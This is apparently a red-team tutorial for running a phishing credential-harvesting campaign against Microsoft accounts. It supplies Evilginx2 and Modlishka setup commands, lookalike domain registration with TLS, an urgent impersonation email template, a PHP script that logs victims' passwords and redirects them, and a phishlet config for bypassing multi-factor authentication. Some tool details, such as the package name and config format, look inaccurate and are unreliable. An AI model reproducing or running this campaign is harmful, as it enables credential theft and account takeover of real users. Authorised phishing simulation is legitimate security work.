Leveraging Data Harvesting in Phishing Campaigns: Techniques and Strategies

In the fast-paced environment of cybersecurity, leveraging data harvesting within phishing campaigns can be a decisive factor in simulating successful attacks during red team engagements. When executed meticulously, these techniques reveal the real vulnerabilities in an organization’s human defenses. The goal is not just to capture information but to measure how convincing and seamless the phishing attempts are within the target’s workflow. Understanding this, you’ll grasp the tactics to craft a campaign that closely mirrors genuine threats. By mastering these approaches, you’ll be able to create phishing simulations that effectively gather sensitive data, providing invaluable insights into areas requiring stronger defenses.

This article delves into various data harvesting techniques specifically tailored for phishing campaigns, covering tool setups, execution paths, and sophisticated variations that enhance your campaign’s realism and effectiveness. By the end, you will know how to implement highly targeted, effective data harvesting operations, enriching your phishing engagements’ scope and depth.

Prerequisites and Setup

Before jumping into execution, you need a well-prepared environment. Essential tools include Evilginx2, an attack framework for capturing login credentials and session cookies, and Modlishka, which allows real-time phishing capabilities without compromising SSL veracity. Ensure you have a functional web server configured with a domain that resembles legitimate services closely—preferably using well-crafted typosquats or subdomain manipulations. As a first step, install Evilginx2 on your Linux-based server with the following command:


sudo apt-get update && sudo apt-get install evilginx

This command updates your server package list and installs Evilginx2, setting up the environment for credential harvesting operations.

You need domain names that mimic the real ones closely. Register domains such as microsoft-support-login.com or google-accounts-update.net, ensuring they are SSL enabled using a free service like Let’s Encrypt:


sudo certbot --nginx -d microsoft-support-login.com

This command utilizes Certbot to automate HTTPS for your domain, enhancing the legitimacy of your phishing pages.

Step-by-Step Execution

Email Crafting and Delivery

The heart of any phishing campaign is the convincing email that lures the target to your landing page. Your email subject lines should be concise yet create a sense of urgency. An example subject could be: “Action Required: Verify Your Account Security Now”. The email body needs to mimic corporate communication.

From: IT Support &lt;support@microsoft-support-login.com&gt;

To: user@targetcompany.com

Subject: Action Required: Verify Your Account Security Now

Dear [User],

We have detected unusual activity in your account which necessitates immediate verification. Please log in through the secure link below to validate your account. Failure to comply might result in a temporary suspension of access.

[Login Here &gt;](http://microsoft-support-login.com)

Best,

IT Security Team

This email appears authentic and prompts users to click the link, directing them to your phishing page hosted on a domain with SSL, increasing trust.

Setting Up the Phishing Landing Page

The next crucial step is the design of your landing page, which need not just replicate the look of legitimate sites, but also focus on functional deceit. With tools like Modlishka, this involves proxying a real login page to your domain, capturing user credentials while passing the request to the genuine site.


./dist/proxy -config config.json

This execution command starts Modlishka, based on configurations that align user interfaces with your target domain’s aesthetics. Within

config.json

, specify the target domain and your phishing domain with maps that redirect user inputs seamlessly.

Credential Capturing and Data Exfiltration

Data harvesting isn’t complete until you’ve securely captured and stored the credentials. For this, your backend script on the landing page will handle POST requests. A simple PHP script like the following collects and writes user input:


<?php

if ($_SERVER["REQUEST_METHOD"] === "POST") {

    $username = $_POST["username"];

    $password = $_POST["password"];



    $file = fopen("credentials.txt", "a");

    fwrite($file, "Username: " . $username . " Password: " . $password . "\n");

    fclose($file);



    header("Location: https://login.microsoft.com");

    exit;

}

?>

This script captures credentials when users attempt to log in through the phishing page and then smoothly redirects them to the legitimate site.

Advanced Variations

Dynamic Content Loading

To enhance the effectiveness of your campaign, consider dynamically loading content based on real-time user behavior. This can be implemented using JavaScript to change texts or images based on the visitor’s IP address, making the phishing page appear even more convincing and tailored.


&lt;script&gt;

fetch('https://ipinfo.io/json')

  .then((response) =&gt; response.json())

  .then((data) =&gt; {

    document.getElementById('greeting').textContent = `Good to see you in ${data.city}`;

  });

&lt;/script&gt;

This script fetches geographic details based on the IP address of the visitor and updates greeting texts dynamically to reflect this, enhancing the personalized user experience.

Multi-Factor Authentication Bypass

Using an Attack-the-Middle (AiTM) approach can bypass Multi-Factor Authentication (MFA). Tools like Evilginx2 route the MFA token to log in once stolen credentials are received. This requires setting up Evilginx2 properly to act as an intermediary between the user and the service.

Include an additional token grabber in Evilginx2 configuration to capture and resend MFA tokens. Modify the existing config to intercept and send authenticated requests:


{

  "phishlets": [

    {

      "type": "https",

      "domain": "microsoft-online-login.com",

      "sub_filters": [

        {

          "trigger": "account.microsoft.com",

          "replace": "microsoft-online-login.com"

        }

      ],

      "filters": [

        {

          "request_uri": "https://login.microsoftonline.com/common/Login.aspx",

          "proxify_content": true

        }

      ]

    }

  ]

}

This allows Evilginx2 to handle MFA tokens by intercepting traffic through its proxy function.

Good / Better / Best

Good: Successfully capturing credentials with a redirected clone page but via domains like myaccount-check.com that might seem suspicious. Users already cautious of phishing attempts may notice the odd URL.

Better: Using microsoft-security-login.com, secured with SSL, and better-designed aesthetics to create a more convincing presentation but with slightly off-brand textual cues users might pick up.

Best: Employing an unnoticeable domain closely mimicking legitimate forms, using dynamic content loading and AiTM techniques to seamlessly handle responses including MFA, fooling even experienced practitioners.

Related Concepts

The data harvesting techniques discussed here are closely tied to broader phishing and social engineering strategies. They can be combined with spear phishing campaigns, leveraging Open Source Intelligence (OSINT) to tailor attacks more accurately or using AI-generated content for more personalized engagement, creating a comprehensive threat simulation.